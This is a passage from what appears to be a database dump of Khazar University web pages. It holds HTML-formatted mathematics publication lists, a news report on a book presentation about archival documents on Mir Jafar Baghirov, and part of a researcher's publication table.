Morrey-Lebesgue Spaces</a>, Azerbaijan Journal of Mathematics, Vol.7, No2, (2017);</p><p><br></p><p>4.&nbsp;V.F. Salmanov, and&nbsp;<strong>T.Z. Garayev</strong>,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/6.pdf\">On basicity of exponential systems in Sobolev-Morrey spaces</a>,&nbsp;An. Stiint¸&nbsp;Univ. Al. I. Cuza Ia¸si Mat. (N.S.) 2016; (Romania); (accepted)</p><p><br></p><p>5.&nbsp;Valid F. Salmanov,&nbsp;<strong>Tarlan Z. Garayev</strong>, and Saad R. El-Shabrawy&nbsp;(Egypt),&nbsp;<a href=\"http://www.khazar.org/files/math_depart/13.pdf\">Basis Properties of Exponential Systems With Linear Phases in Morrey-Sobolev Type Spaces</a>, Math. Sci. Lett. 6, No. 3, 305-309 (2017)</p><p><br></p><p>6.<strong>&nbsp;Ilmar Gahramanov&nbsp;</strong>and Hjalmar Rosengren&nbsp;(Sweden),&nbsp;&nbsp;&nbsp;<a href=\"http://www.khazar.org/files/math_depart/1.pdf\">Basic hypergeometry of supersymmetric dualities</a>,&nbsp;Nuclear Physics B 913 (2016) 747–768; (accepted)</p><p>&nbsp;</p><p>7.&nbsp;<strong>Ilmar Gahramanov</strong>&nbsp;and Andrew P. Kels&nbsp;(Tokyo),&nbsp;<a href=\"http://www.khazar.org/files/math_depart/2.pdf\">The star-triangle relation, lens partition function, and hypergeometric sum/integrals</a>, Journal of High Energy Physics, 2017 (accepted)</p><p><br></p><p>8.&nbsp;<strong>Ilmar Gahramanov</strong>&nbsp;and Kemal Tezgin&nbsp;(USA),&nbsp;<a href=\"http://www.khazar.org/files/math_depart/3.pdf\">A resurgence analysis for cubic and quartic anharmonic potentials</a>, International Journal of Modern Physics A, Vol. 32, No. 5 (2017)4;</p><p>&nbsp;</p><p>9.&nbsp;<strong>Shakhmurov, Veli B</strong><strong>.</strong>&nbsp;<a href=\"http://apps.webofknowledge.com/full_record.do?product=WOS&amp;search_mode=GeneralSearch&amp;qid=2&amp;SID=T1tBM4Q4yWY55mmjb89&amp;page=1&amp;doc=4\">Nonlocal problems for Boussinesq equations</a>,&nbsp;<a title=\"View journal impact\">Nonlinear Analysis-Theory, Methods &amp; Applications,&nbsp;</a>Volume:&nbsp;142&nbsp;(2016), p.134-151;</p><p>&nbsp;</p><p>10.&nbsp;Musaev, H.K.,&nbsp;<strong>Shakhmurov, V.B.</strong>,&nbsp;Regularity properties of degenerate convolution-elliptic equations, Boundary Value Problems, Volume 2016, Issue 1, (2016), p.1-19;</p><ol start=\"10\" type=\"1\"></ol><p>&nbsp;</p><p text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(&quot;&quot;);\">11.&nbsp;Ч.Г. Ибадзаде,&nbsp;<strong>И.М. Набиев</strong>,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/16.pdf\">Восстановление оператора Штурма-Лиувилля с неразделенными граничными условиями и соспектральным параметром в граничном условии</a>&nbsp;//Укр.&nbsp; мат.&nbsp; журн.,Том 69,№ 1, 2017;</p><p>&nbsp;</p><p text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(&quot;&quot;);\">12.&nbsp;Bilal T. Bilalov,&nbsp;<strong>Ali A. Huseynli</strong>, and Fidan Sh. Seyidova, Riemann boundary value problems in generalized weighted Hardy spaces, Proceedings of the Institute of Mathematics and Mechanics, National Academy of Sciences of Azerbaijan, 2017; (accepted)</p><p>&nbsp;</p><p text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(&quot;&quot;);\">13.&nbsp;Ahmet Eroğlu&nbsp;(Turkey),&nbsp;<strong>Javanshir V. Azizov</strong>, A note of the fractional integral operators in generalized operators in generalized Morrey spaces on the Heisenberg group, Transactions of NAS of Azerbaijan, Issue Mathematics, Series of Physical-Technical and Mathematical Sciences, 37(1), 86-91(2017);</p><p>&nbsp;</p><p text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(&quot;&quot;);\">14.&nbsp;Bilal Bilalov,&nbsp;<strong>Ali Huseynli</strong>, Miran Aleskerov,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/8.pdf\">On the basicity of unitary system of exponents in the generalized Lebesgue spaces</a>, Transactions of NAS of Azerbaijan, Issue Mathematics, Series of Physical-Technical and Mathematical Sciences, 37 (1), 63–76 (2017), 2017;</p><p>&nbsp;</p><p text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(&quot;&quot;);\">15.&nbsp;Bilal Bilalov,&nbsp;<strong>Ali Huseynli</strong>, On statistical variants of Karovkin type theorms, Reports of National Academy of Sciences of Azerbaijan, 2017;(accepted)</p><p>&nbsp;</p><p text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(&quot;&quot;);\">16.&nbsp;A. Eroglu, V. S. Guliyev, and&nbsp;<strong>J. V. Azizov</strong>,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/15.pdf\">Characterizations for the Fractional Integral Operators in Generalized Morrey Spaces on Carnot Groups</a>, Mathematical Notes, 2017, Vol. 102, No. 5, pp. 127–139.</p><p>&nbsp;</p><p><strong>International Conference Papers</strong></p><p margin-left:45.0pt;text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(&quot;&quot;);\">1.&nbsp;<strong>Гусейнли А.А.</strong>, Селим Явуз,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/10.pdf\">Функциональное пространство L_p;r и сингулярный интеграл Коши</a>, “Modern mathematics and its applications”, Papers of the International scientific-practical conference, Part I, 18–20, May 2017, Ufa , p. 288-290.</p><p margin-left:45.0pt;text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(&quot;&quot;);\">2.&nbsp;<strong>И.М. Набиев</strong>,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/11.pdf\">Обратная &nbsp;задача &nbsp;для оператора Штурма-Лиувилля со спектральным параметром в граничном условии</a>, “Modern mathematics and its applications” Papers of the International scientific-practical conference, Part II, 18–20, May 2017, Ufa , p. 103-107.</p><p margin-left:45.0pt;text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(&quot;&quot;);\">3.&nbsp;<strong>Nazim B. Kerimov</strong>, Emir A. Maris,&nbsp;On the Spectral Expansions of a Boundary Value Problem with eigenparameter in both Boundary Conditions, International Conference on Mathematics and Mathematics Education, (ICMME-2017), Harran University, Şanlıurfa, 11-13 May, 2017</p><p margin-left:45.0pt;text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(&quot;&quot;);\">4.&nbsp;Ziyatkhan. S. Aliyev,&nbsp;<strong>Nazim B. Kerimov</strong>, Spectral properties for the equation of Vibrating Rod on Right end of which an inertial load is consentrated, VIII Annual International Conference of the Georgian Mathematical Union, September 4-8, 2017</p>'),(1634,1010,'en','Presentation of Book of Archival Materials','On April 26, a presentation was held at Khazar University for well-known poet, editorialist, and historian Teyyub Gurban’s book “На имя Багирова, за подписью Багирова” (In the name of Baghirov, With the Signature of Baghirov). Scholars and experts from various Azerbaijani higher education institutions participated in the event along with staff members of Khazar University.','<p>On\r\nApril 26, a presentation was held at Khazar University for well-known poet,\r\neditorialist, and historian Teyyub Gurban’s book “На имя Багирова, за подписью\r\nБагирова” (In the name of Baghirov, With the Signature of Baghirov). Scholars\r\nand experts from various Azerbaijani higher education institutions participated\r\nin the event along with staff members of Khazar University. </p>\r\n<p>The\r\nhost of the event was Associate Professor Firdovsiyya Ahmadova, Doctor of\r\nHistorical Sciences and Department Chair of the State Administration Academy of\r\nthe President of the Azerbaijan Republic, who noted that Teyyub Gurban has\r\nresearched archival docuents on the activities of Mir Jafar Baghirov for 20\r\nyears and has published a multi-volume work entitled “Stronger than His\r\nEnemies” which was published in multiple editions. She also noted that the book\r\nbeing presented is a new work. </p>\r\n<p>Honored\r\nJournalist Alirza Balayev, who edited the book and authored its preface, made a\r\nspeech stating that the book being presented contains archival documents used\r\nby Teyyub Gurban in his research which are given in the book without\r\nexplanation to allow readers to form their own objective opinions. </p>\r\n<p>Other\r\nparticipants who made speeches in the presentation ceremony to share their\r\nopinions about Teyyub Gurban’s work included Faig Habibov, who initiated the\r\nbook’s preparation and printing; Mammadtaghi Baghirov, member of Mir Jafar\r\nBaghirov’s family; Lala Huseynova, Doctor of Historical Studies and Division\r\nDirector of the Political Documents Archive of the Presidential Administration;\r\nDr. Farda Asadov, Director of Khazar University’s Center for Eurasia and Middle\r\nEast Studies as well as Chair of the Department of History and Economics of\r\nArabic Countries in the Ziya Bunyadov Eastern Studies Institute of ANAS;\r\nAzizagha Alakbarov, Doctor of Historical Studies and Senior Researcher for the\r\nA.A.Bakikhanov History Institute of ANAS; Rahim Huseynov, former Prime Minister\r\nof Azerbaijan; and others. </p>\r\n<p>At\r\nthe end of the event, F. Ahmadova thanked the Khazar University administration\r\nand participants. </p>\r\n<p>&nbsp;</p>'),(984,632,'az','Xanım Cəfarova','Xanım Cəfarova','<div><br></div><div><br></div><div><div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined \"><br></div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined \">Research Publications of Khanum V.Jafarova (Yagubova)&nbsp;<br></div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined \"><br></div><div style=\"background:undefined \"><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"38\"><p style=\"background:undefined \">#</p></td><td colspan=\"3\" width=\"161\"><p style=\"background:undefined \"><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"94\"><p style=\"background:undefined \"><strong>Publications type/publication activities</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"86\"><p style=\"background:undefined \"><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"103\"><p style=\"background:undefined \"><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"66\"><p style=\"background:undefined \"><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"57\"><p style=\"background:undefined \"><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"38\"><p style=\"background:undefined \"><strong>1.</strong></p></td><td colspan=\"3\" width=\"161\"><p style=\"background:undefined \">О собственных значениях одного класса возмущенных несамосопряженных дифференциальных операторов второго порядка</p></td><td colspan=\"2\" width=\"94\"><p style=\"background:undefined \">Journal article</p></td><td width=\"86\"><p style=\"background:undefined \">YagubovaKh.V.</p></td><td colspan=\"2\" width=\"103\"><p style=\"background:undefined \">Məcmuə, Gənc tədqiqatçıların əsərləri, Bakı-1996<strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"66\"><p style=\"background:undefined \">1996</p></td><td colspan=\"2\" width=\"57\"><p style=\"background:undefined \">p.159-163</p></td></tr><tr><td width=\"38\"><p style=\"background:undefined \"><strong>2.</strong></p></td><td colspan=\"3\" width=\"161\"><p style=\"background:undefined \">Об одном многомерном операторно-дифференциальном уравнении в частных производных</p></td><td colspan=\"2\" width=\"94\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"86\"><p style=\"background:undefined \">Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"103\"><p style=\"background:undefined \">Məcmuə, Gənc tədqiqatçıların əsərləri, Bakı -1998<strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"66\"><p style=\"background:undefined \">1998</p></td><td colspan=\"2\" width=\"57\"><p style=\"background:undefined \">p.43-45</p></td></tr><tr><td width=\"38\"><p style=\"background:undefined \"><strong>3.</strong></p></td><td colspan=\"3\" width=\"161\"><p style=\"background:undefined \">Об условиях разрешимости операторно-дифференциального уравнения в частных производных второго порядка на всей плоскости</p></td><td colspan=\"2\" width=\"94\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"86\"><p style=\"background:undefined \">Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"103\"><p style=\"background:undefined \">Вестник Бакинского Университета,</p></td><td colspan=\"3\" width=\"66\"><p style=\"background:undefined \">1998</p></td><td colspan=\"2\" width=\"57\"><p style=\"background:undefined \">&nbsp;№3, p.94-101</p></td></tr><tr><td width=\"38\"><p style=\"background:undefined \"><strong>4.</strong></p></td><td colspan=\"3\" width=\"161\"><p style=\"background:undefined \">Об условиях разрешимости операторно-дифференциального уравнения второго порядка в плоскости</p></td><td colspan=\"2\" width=\"94\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"86\"><p style=\"background:undefined \">Yagubova Kh.V.,Mirzoyev S.S.</p></td><td colspan=\"2\" width=\"103\"><p style=\"background:undefined \">Tələbələrin və gənc tədqiqatçıların elmi konfransının tezisləri, Bakı-1998<strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"66\"><p style=\"background:undefined \">1998</p></td><td colspan=\"2\" width=\"57\"><p style=\"background:undefined \">p.17-18</p></td></tr><tr><td width=\"38\"><p style=\"background:undefined \"><strong>5.</strong></p></td><td colspan=\"3\" width=\"161\"><p style=\"background:undefined \">О разрешимости одного операторно-дифференциального уравнения</p></td><td colspan=\"2\" width=\"94\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"86\"><p style=\"background:undefined \">Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"103\"><p style=\"background:undefined \">БГУ-80, Материалы научной конфренции, Баку, 1999</p></td><td colspan=\"3\" width=\"66\"><p style=\"background:undefined \">1999</p></td><td colspan=\"2\" width=\"57\"><p style=\"background:undefined \">p.34</p></td></tr><tr><td width=\"38\"><p style=\"background:undefined \"><strong>6.</strong></p></td><td colspan=\"3\" width=\"161\"><p style=\"background:undefined \">О разрешимости одной краевой задачи для операторно-дифференциальных уравнений второго порядка в частных производных</p></td><td colspan=\"2\" width=\"94\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"86\"><p style=\"background:undefined \">Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"103\"><p style=\"background:undefined \">Материалы научной конфренции,посвященной 85-летию проф.Габибзаде А.Ш., Баку-2001</p></td><td colspan=\"3\" width=\"66\"><p style=\"background:undefined \">2001</p></td><td colspan=\"2\" width=\"57\"><p style=\"background:undefined \">p.141-142</p></td></tr><tr><td width=\"38\"><p style=\"background:undefined \"><strong>7.</strong></p></td><td colspan=\"2\" width=\"160\"><p style=\"background:undefined \">О разрешимости краевых задач с операторами в краевых условиях для одного класса операторно-дифференциальных уравнений второго порядка</p></td><td colspan=\"3\" width=\"95\"><p style=\"background:undefined \">Journal article</p></td><td colspan=\"2\" width=\"91\"><p style=\"background:undefined \">Yagubova Kh.V., Mirzoyev S.S.</p></td><td width=\"98\"><p style=\"background:undefined \">Доклады НАН Азербайджана, 2001</p></td><td colspan=\"3\" width=\"66\"><p style=\"background:undefined \">2001</p></td><td colspan=\"2\" width=\"58\"><p style=\"background:undefined \">v.LVII, №1-3, p..12-17</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p style=\"background:undefined \"><strong>8</strong></p></td><td width=\"155\"><p style=\"background:undefined \">Об оценке резольвенты операторного пучка</p></td><td colspan=\"2\" width=\"91\"><p style=\"background:undefined \">Conference Proceedings</p></td><td colspan=\"3\" width=\"95\"><p style=\"background:undefined \">Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"102\"><p style=\"background:undefined \">Aspirantların və gənc tədqiqatçıların VII Respublika elmi konfransının tezisləri, Bakı-2001</p></td><td width=\"60\"><p style=\"background:undefined \">2001</p></td><td colspan=\"3\" width=\"60\"><p style=\"background:undefined \">p.17</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p style=\"background:undefined \"><strong>9.</strong></p></td><td width=\"155\"><p style=\"background:undefined \">О разрешимости операторно-дифференциальных уравнений в гильбертовом пространстве</p></td><td colspan=\"2\" width=\"91\"><p style=\"background:undefined \">Journal article</p></td><td colspan=\"3\" width=\"95\"><p style=\"background:undefined \">Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"102\"><p style=\"background:undefined \">Вестник Бакинского Университета,2001</p></td><td width=\"60\"><p style=\"background:undefined \">2001</p></td><td colspan=\"3\" width=\"60\"><p style=\"background:undefined \">№2, p.127-136</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p style=\"background:undefined \"><strong>10.</strong></p></td><td width=\"155\"><p style=\"background:undefined \">On the solvability of one class operator-differential equations in whole space</p></td><td colspan=\"2\" width=\"91\"><p style=\"background:undefined \">Journal article</p></td><td colspan=\"3\" width=\"95\"><p style=\"background:undefined \">Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p style=\"background:undefined \">Transactions of Academy of Sciences of Azerbaijan, Series of phys.-techn.and math.sciences, Baku, 2000</p></td><td width=\"60\"><p style=\"background:undefined \">2000</p></td><td colspan=\"3\" width=\"60\"><p style=\"background:undefined \">v.XX, №4,p.215-222</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p style=\"background:undefined \"><strong>11.</strong></p></td><td width=\"155\"><p style=\"background:undefined \">On the solvability conditions of the boundary value problems for one class operator-differential equations of the second order</p></td><td colspan=\"2\" width=\"91\"><p style=\"background:undefined \">Journal article</p></td><td colspan=\"3\" width=\"95\"><p style=\"background:undefined \">Yagubova Kh.V., Mirzoyev S.S.</p></td><td colspan=\"2\" width=\"102\"><p style=\"background:undefined \">Transactions of Academy of Sciences of Azerbaijan, Series of phys.-techn.and math.sciences, Baku, 2001</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"60\"><p style=\"background:undefined \">2001</p></td><td colspan=\"3\" width=\"60\"><p style=\"background:undefined \">v.XXI, №1,p. 126-132</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p style=\"background:undefined \"><strong>12.</strong></p></td><td width=\"155\"><p style=\"background:undefined \">О разрешимости операторно-дифференциальных уравнений в гильбертовом пространстве</p></td><td colspan=\"2\" width=\"91\"><p style=\"background:undefined \">Handwriting<strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"95\"><p style=\"background:undefined \">Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p style=\"background:undefined \">Автореферат диссерт. на соиск. ученой степени кандидата физ-мат. наук, Баку,2002</p></td><td width=\"60\"><p style=\"background:undefined \">2002</p></td><td colspan=\"3\" width=\"60\"><p style=\"background:undefined \">19p.</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p style=\"background:undefined \"><strong>13.</strong></p></td><td width=\"155\"><p style=\"background:undefined \">О разрешимости операторно-дифференциальных уравнений в гильбертовом пространстве</p></td><td colspan=\"2\" width=\"91\"><p style=\"background:undefined \">Handwriting<strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"95\"><p style=\"background:undefined \">Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p style=\"background:undefined \">Диссерт. на соиск. ученой степени кандидата физ-мат. наук, Баку,2002</p></td><td width=\"60\"><p style=\"background:undefined \">2002</p></td><td colspan=\"3\" width=\"60\"><p style=\"background:undefined \">123p.</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p style=\"background:undefined \"><strong>14.</strong></p></td><td width=\"155\"><p style=\"background:undefined \">О разрешимости одного класса операторно-дифференциальных уравнений второго порядка в весовых пространствах</p><p style=\"background:undefined \">&nbsp;</p></td><td colspan=\"2\" width=\"91\"><p style=\"background:undefined \">Journal article</p></td><td colspan=\"3\" width=\"95\"><p style=\"background:undefined \">Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p style=\"background:undefined \">Вестник Бакинского Университета</p></td><td width=\"60\"><p style=\"background:undefined \">2002</p></td><td colspan=\"3\" width=\"60\"><p style=\"background:undefined \">&nbsp;№3, p..125-131</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p style=\"background:undefined \"><strong>15.</strong></p></td><td width=\"155\"><p style=\"background:undefined \">On the completeness of one derivative chain of the root vectors of the second order operator bunches</p></td><td colspan=\"2\" width=\"91\"><p style=\"background:undefined \">Journal article</p></td><td colspan=\"3\" width=\"95\"><p style=\"background:undefined \">Yagubova Kh.V., Mirzoyev S.S.</p></td><td colspan=\"2\" width=\"102\"><p style=\"background:undefined \">Transactions,issue mathem. and mech.,series of phys.- technical and mathem. sciences,XXII, №4, Baku, 2002</p></td><td width=\"60\"><p style=\"background:undefined \">2002</p></td><td colspan=\"3\" width=\"60\"><p style=\"background:undefined \">XXII, №4,&nbsp;&nbsp; p.167-173</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p style=\"background:undefined \">16.</p></td><td width=\"155\"><p style=\"background:undefined \">О разрешимости операторно-дифференциального уравнения второго порядка на всей оси</p></td><td colspan=\"2\" width=\"91\"><p style=\"background:undefined \">Journal article</p></td><td colspan=\"3\" width=\"95\"><p style=\"background:undefined \">Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p style=\"background:undefined \">Азербайджанская экономика на пути подъема (сборник статей) , Баку, Элм, 2003</p></td><td width=\"60\"><p style=\"background:undefined \">2003</p></td><td colspan=\"3\" width=\"60\"><p style=\"background:undefined \">p.75-78</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p style=\"background:undefined \">17.</p></td><td width=\"155\"><p style=\"background:undefined \">О существовании обобщенного решения некоторой краевой задачи для одного класса операторно-дифференциальных уравнений второго порядка</p></td><td colspan=\"2\" width=\"91\"><p style=\"background:undefined \">Journal article</p></td><td colspan=\"3\" width=\"95\"><p style=\"background:undefined \">Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p style=\"background:undefined \">Вестник Бакинского Университета</p></td><td width=\"60\"><p style=\"background:undefined \">2004</p></td><td colspan=\"3\" width=\"60\"><p style=\"background:undefined \">№3 p.54-59</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p style=\"background:undefined \">18.</p></td><td width=\"155\"><p style=\"background:undefined \">О разрешимости одной краевой задачи для операторно-дифференциального уравнения второго порядка</p></td><td colspan=\"2\" width=\"91\"><p style=\"background:undefined \">Conference Proceedings</p></td><td colspan=\"3\" width=\"95\"><p style=\"background:undefined \">Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p style=\"background:undefined \">Тезисы научной конференции, посвященной 70-летию чл.-корр. НАНА, засл.деят.наук, д.ф.м.н., проф.А.А. Бабаева,&nbsp; Баку</p></td><td width=\"60\"><p style=\"background:undefined \">2004</p></td><td colspan=\"3\" width=\"60\"><p style=\"background:undefined \">p.160-1</p><div><br></div></td></tr></tbody></table></div></div><br></div>'),(985,632,'en',' Khanum Jafarova',' Khanum Jafarova','<div><br></div><div style=\"font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Research Publications of Khanum V.Jafarova (Yagubova)  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td width=\"38\"><p>#</p></td><td colspan=\"3\" width=\"161\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"94\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"86\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"103\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"66\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"38\"><p><strong>1.</strong></p></td><td colspan=\"3\" width=\"161\"><p>О собственных значениях одного класса возмущенных несамосопряженных дифференциальных операторов второго порядка</p></td><td colspan=\"2\" width=\"94\"><p>Journal article</p></td><td width=\"86\"><p>Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"103\"><p>Məcmuə, Gənc tədqiqatçıların əsərləri, Bakı-1996<strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"66\"><p>1996</p></td><td colspan=\"2\" width=\"57\"><p>p.159-163</p></td></tr><tr><td width=\"38\"><p><strong>2.</strong></p></td><td colspan=\"3\" width=\"161\"><p>Об одном многомерном операторно-дифференциальном уравнении в частных производных</p></td><td colspan=\"2\" width=\"94\"><p>Journal articles</p></td><td width=\"86\"><p>Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"103\"><p>Məcmuə, Gənc tədqiqatçıların əsərləri, Bakı -1998<strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"66\"><p>1998</p></td><td colspan=\"2\" width=\"57\"><p>p.43-45</p></td></tr><tr><td width=\"38\"><p><strong>3.</strong></p></td><td colspan=\"3\" width=\"161\"><p>Об условиях разрешимости операторно-дифференциального уравнения в частных производных второго порядка на всей плоскости</p></td><td colspan=\"2\" width=\"94\"><p>Journal articles</p></td><td width=\"86\"><p>Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"103\"><p>Вестник Бакинского Университета,</p></td><td colspan=\"3\" width=\"66\"><p>1998</p></td><td colspan=\"2\" width=\"57\"><p>&nbsp;№3, p.94-101</p></td></tr><tr><td width=\"38\"><p><strong>4.</strong></p></td><td colspan=\"3\" width=\"161\"><p>Об условиях разрешимости операторно-дифференциального уравнения второго порядка в плоскости</p></td><td colspan=\"2\" width=\"94\"><p>Conference Proceedings</p></td><td width=\"86\"><p>Yagubova Kh.V.,Mirzoyev S.S.</p></td><td colspan=\"2\" width=\"103\"><p>Tələbələrin və gənc tədqiqatçıların elmi konfransının tezisləri, Bakı-1998<strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"66\"><p>1998</p></td><td colspan=\"2\" width=\"57\"><p>p.17-18</p></td></tr><tr><td width=\"38\"><p><strong>5.</strong></p></td><td colspan=\"3\" width=\"161\"><p>О разрешимости одного операторно-дифференциального уравнения</p></td><td colspan=\"2\" width=\"94\"><p>Conference Proceedings</p></td><td width=\"86\"><p>Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"103\"><p>БГУ-80, Материалы научной конфренции, Баку, 1999</p></td><td colspan=\"3\" width=\"66\"><p>1999</p></td><td colspan=\"2\" width=\"57\"><p>p.34</p></td></tr><tr><td width=\"38\"><p><strong>6.</strong></p></td><td colspan=\"3\" width=\"161\"><p>О разрешимости одной краевой задачи для операторно-дифференциальных уравнений второго порядка в частных производных</p></td><td colspan=\"2\" width=\"94\"><p>Conference Proceedings</p></td><td width=\"86\"><p>Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"103\"><p>Материалы научной конфренции,посвященной 85-летию проф.Габибзаде А.Ш., Баку-2001</p></td><td colspan=\"3\" width=\"66\"><p>2001</p></td><td colspan=\"2\" width=\"57\"><p>p.141-142</p></td></tr><tr><td width=\"38\"><p><strong>7.</strong></p></td><td colspan=\"2\" width=\"160\"><p>О разрешимости краевых задач с операторами в краевых условиях для одного класса операторно-дифференциальных уравнений второго порядка</p></td><td colspan=\"3\" width=\"95\"><p>Journal article</p></td><td colspan=\"2\" width=\"91\"><p>Yagubova Kh.V., Mirzoyev S.S.</p></td><td width=\"98\"><p>Доклады НАН Азербайджана, 2001</p></td><td colspan=\"3\" width=\"66\"><p>2001</p></td><td colspan=\"2\" width=\"58\"><p>v.LVII, №1-3, p..12-17</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p><strong>8</strong></p></td><td width=\"155\"><p>Об оценке резольвенты операторного пучка</p></td><td colspan=\"2\" width=\"91\"><p>Conference Proceedings</p></td><td colspan=\"3\" width=\"95\"><p>Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"102\"><p>Aspirantların və gənc tədqiqatçıların VII Respublika elmi konfransının tezisləri, Bakı-2001</p></td><td width=\"60\"><p>2001</p></td><td colspan=\"3\" width=\"60\"><p>p.17</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p><strong>9.</strong></p></td><td width=\"155\"><p>О разрешимости операторно-дифференциальных уравнений в гильбертовом пространстве</p></td><td colspan=\"2\" width=\"91\"><p>Journal article</p></td><td colspan=\"3\" width=\"95\"><p>Yagubova Kh.V.</p></td><td colspan=\"2\" width=\"102\"><p>Вестник Бакинского Университета,2001</p></td><td width=\"60\"><p>2001</p></td><td colspan=\"3\" width=\"60\"><p>№2, p.127-136</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p><strong>10.</strong></p></td><td width=\"155\"><p>On the solvability of one class operator-differential equations in whole space</p></td><td colspan=\"2\" width=\"91\"><p>Journal article</p></td><td colspan=\"3\" width=\"95\"><p>Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p>Transactions of Academy of Sciences of Azerbaijan, Series of phys.-techn.and math.sciences, Baku, 2000</p></td><td width=\"60\"><p>2000</p></td><td colspan=\"3\" width=\"60\"><p>v.XX, №4,p.215-222</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p><strong>11.</strong></p></td><td width=\"155\"><p>On the 